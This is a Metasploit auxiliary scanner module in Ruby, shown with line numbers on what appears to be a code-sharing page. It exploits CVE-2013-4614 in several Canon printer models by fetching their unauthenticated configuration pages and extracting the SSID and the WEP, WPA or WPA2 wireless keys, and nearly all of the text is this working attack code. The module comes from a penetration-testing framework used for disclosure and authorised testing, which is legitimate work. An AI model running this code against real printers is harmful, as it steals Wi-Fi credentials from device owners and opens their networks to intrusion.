Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'nokogiri'
7

8
class MetasploitModule < Msf::Auxiliary
9
  include Msf::Auxiliary::Report
10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Auxiliary::Scanner
12

13
  def initialize(info={})
14
    super(update_info(info,
15
      'Name'           => 'Canon Printer Wireless Configuration Disclosure',
16
      'Description'    => %q{
17
          This module enumerates wireless credentials from Canon printers with a web interface.
18
          It has been tested on Canon models: MG3100, MG5300, MG6100, MP495, MX340, MX870,
19
          MX890, MX920.
20
      },
21
      'License'        => MSF_LICENSE,
22
      'Author'         =>
23
        [
24
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
25
        ],
26
      'References'     => [
27
        [ 'CVE', '2013-4614' ],
28
        [ 'OSVDB', '94417' ],
29
        [ 'URL', 'https://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
30
      ],
31
      'DisclosureDate' => '2013-06-18'))
32
  end
33

34
  def get_network_settings
35
    begin
36
      res = send_request_cgi({
37
        'method' => 'GET',
38
        'uri'    => '/English/pages_MacUS/lan_set_content.html',
39
      })
40
    rescue
41
      print_error("#{rhost}:#{rport} Could not connect.")
42
      return
43
    end
44

45
    if res
46
      if res.code == 200
47

48
        html = Nokogiri::HTML(res.body)
49

50
        checked_lan_setting = html.xpath '//input[@name="LAN_OPT1" and @checked]'
51

52
        if checked_lan_setting.count == 1
53
          lan_setting = ''
54
          ssid = ''
55
          case checked_lan_setting[0]['value']
56
          when '0'
57
            lan_setting = 'Do not use LAN'
58
          when '1'
59
            lan_setting = 'Use wired LAN'
60
          when '2'
61
            lan_setting = 'Use wireless LAN'
62

63
            ssid_input = html.xpath '//input[@name="LAN_TXT1"]'
64
            ssid = ssid_input[0]['value'] if ssid_input.count == 1
65
          end
66

67
          return lan_setting, ssid
68
        else
69
          print_error("#{rhost}:#{rport} Could not determine LAN Settings.")
70
        end
71

72
      elsif res.code == 401
73
        print_error("#{rhost}:#{rport} Authentication failed")
74
      elsif res.code == 404
75
        print_error("#{rhost}:#{rport} File not found")
76
      end
77
    end
78
  end
79

80
  def get_wireless_key
81
    begin
82
      res = send_request_cgi({
83
        'method' => 'GET',
84
        'uri'    => "/English/pages_MacUS/wls_set_content.html",
85
      })
86
    rescue
87
      print_error("#{ip}:#{rport} Could not connect.")
88
      return
89
    end
90

91
    if res
92
      if res.code == 200
93
        html = Nokogiri::HTML(res.body)
94
        encryption_setting = ''
95
        encryption_key = ''
96

97
        checked_encryption_setting = html.xpath '//input[@name="WLS_OPT1" and @checked]'
98
        case checked_encryption_setting[0]['value']
99
        when '0'
100
          encryption_setting = 'None'
101
        when '1'
102
          encryption_setting = 'WEP'
103
          wep_key_inputs = html.xpath '//input[starts-with(@name, "WLS_TXT1") and not(@value="")]'
104
          encryption_key = wep_key_inputs.collect{|x| x['value']}.join(', ')
105
        when '2'
106
          encryption_setting = 'WPA'
107
          wpa_key_input = html.xpath '//input[@name="WLS_TXT2"]'
108
          encryption_key = wpa_key_input[0]['value']
109
        when '3'
110
          encryption_setting = 'WPA2'
111
          wpa2_key_input = html.xpath '//input[@name="WLS_TXT3"]'
112
          encryption_key = wpa2_key_input[0]['value']
113
        end
114

115
        return encryption_setting, encryption_key
116

117
      elsif res.code == 401
118
        print_error("#{rhost}:#{rport} Authentication failed")
119
      elsif res.code == 404
120
        print_error("#{rhost}:#{rport} File not found")
121
      end
122
    end
123
  end
124

125
  def run_host(ip)
126

127
    ns = get_network_settings
128
    return if ns.nil?
129

130
    good_string = "#{rhost}:#{rport} Option: #{ns[0]}"
131
    if ns[0] == 'Use wireless LAN'
132
      wireless_key = get_wireless_key
133
      good_string += "\tSSID: #{ns[1]}\tEncryption Type: #{wireless_key[0]}\tKey: #{wireless_key[1]}"
134
    end
135

136
    report_note({
137
      :data => good_string,
138
      :type => 'canon.wireless',
139
      :host => ip,
140
      :port => rport
141
    })
142

143
    print_good good_string
144

145
  end
146
end
147

148